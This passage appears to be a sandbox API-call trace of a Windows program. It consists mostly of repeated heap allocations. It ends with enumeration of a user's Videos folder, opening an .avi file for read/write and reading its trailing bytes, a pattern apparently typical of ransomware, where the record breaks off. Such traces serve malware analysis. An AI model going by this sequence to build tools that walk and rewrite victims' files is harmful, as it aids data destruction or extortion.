out: hHeap=0x660000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.650] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\") returned="4L6Z\\" [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.650] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\") returned="y9ZmZISZtA8fIYtTxfZp\\" [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.650] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0114.650] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.650] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.651] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.651] PathFindFileNameW (pszPath="") returned="" [0114.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26805d80, ftCreationTime.dwHighDateTime=0x1d4d2b4, ftLastAccessTime.dwLowDateTime=0x8e8da320, ftLastAccessTime.dwHighDateTime=0x1d4cb56, ftLastWriteTime.dwLowDateTime=0x8e8da320, ftLastWriteTime.dwHighDateTime=0x1d4cb56, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.653] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26805d80, ftCreationTime.dwHighDateTime=0x1d4d2b4, ftLastAccessTime.dwLowDateTime=0x8e8da320, ftLastAccessTime.dwHighDateTime=0x1d4cb56, ftLastWriteTime.dwLowDateTime=0x8e8da320, ftLastWriteTime.dwHighDateTime=0x1d4cb56, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.653] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4746790, ftCreationTime.dwHighDateTime=0x1d4c6aa, ftLastAccessTime.dwLowDateTime=0x6840a2e0, ftLastAccessTime.dwHighDateTime=0x1d4d447, ftLastWriteTime.dwLowDateTime=0x6840a2e0, ftLastWriteTime.dwHighDateTime=0x1d4d447, nFileSizeHigh=0x0, nFileSizeLow=0x171f1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3e8LyOG.avi", cAlternateFileName="")) returned 1 [0114.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.653] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\3e8LyOG.avi") returned=".avi" [0114.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\3e8LyOG.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\3e8lyog.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.653] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=94705) returned 1 [0114.654] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.655] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x171cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.655] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 